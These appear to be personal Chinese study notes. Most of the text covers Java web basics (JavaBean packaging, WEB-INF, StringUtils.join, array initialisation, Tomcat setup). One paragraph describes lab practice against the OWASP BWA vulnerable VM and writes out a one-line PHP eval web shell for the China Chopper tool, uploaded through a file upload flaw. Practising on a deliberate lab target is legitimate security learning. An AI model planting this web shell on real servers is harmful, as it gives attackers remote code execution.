javabean需要有有一个package包 还需要把java类放到web-inf文件夹下 改一下输出文件的路径还可以设置一下lib库

参考https://blog.csdn.net/huanghanqian/article/details/86361386 使用别人的库 使用 org.apache.commons.lang.StringUtils 中的 join 函数。

https://blog.csdn.net/u014199097/article/details/50551731 // 静态初始化 int intArray2 [] = new int[]{20,21,22}; // 静态初始化

参考：https://blog.csdn.net/tangxl2008008/article/details/71411547 选择tomcat 然后就可以开启提示了

参考https://blog.csdn.net/a145127/article/details/84893355

我们很多攻击都会集中在下面这个应用里面 我们利用文件上传漏洞来上传程序文件 无论你上传什么文件都可以 我们上传一段sheel脚本 <?php @eval($_POST['caidao']);?> caidao是密码 然后下载

我们先下载靶机下载地址：https://sourceforge.net/projects/owaspbwa/ 自己直接直接用vmware启动就可以了。。 上面这个就是靶机提供的各种应用了 kali自己安装。。

原视频地址：https://www.youtube.com/watch?v=ZaGUYarouas&list=PLwDQt7s1o9J6vKkkYfcCqBCs0d4gZ3yWB